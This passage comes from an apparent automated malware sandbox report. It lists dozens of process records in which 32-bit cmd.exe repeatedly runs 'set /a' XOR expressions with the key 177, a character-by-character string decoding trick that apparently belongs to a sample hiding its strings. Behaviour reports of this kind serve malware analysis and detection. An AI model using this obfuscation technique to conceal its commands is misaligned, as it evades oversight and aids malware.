MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "157^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "216^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	67
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	68
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	69
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	71
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	72
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "201^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	73
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	74
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "137^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	75
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	76
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	77
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	78
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	79
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	80
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	81
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	82
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	83
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	84
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	85
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	86
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	87
Start time:	13:38:27
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	88
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	89
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	90
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "157^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	91
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	92
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	93
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	94
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "216^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	95
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	96
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	97
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	98
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	99
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	100
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "157^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	101
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	102
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	103
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	104
Start time:	13:38:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "193^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	105
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	106
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	107
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	108
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	109
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	110
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "157^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	111
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	112
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	113
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	114
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "216^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	115
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	116
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	117
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	118
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "133^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	119
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	120
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "157^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	121
Start time:	13:38:29
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	122
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	123
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	124
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "216^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	125
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	126
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	127
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	128
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	129
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	130
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "201^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	131
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	132
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "137^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	133
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	134
Start time:	13:38:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "129^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
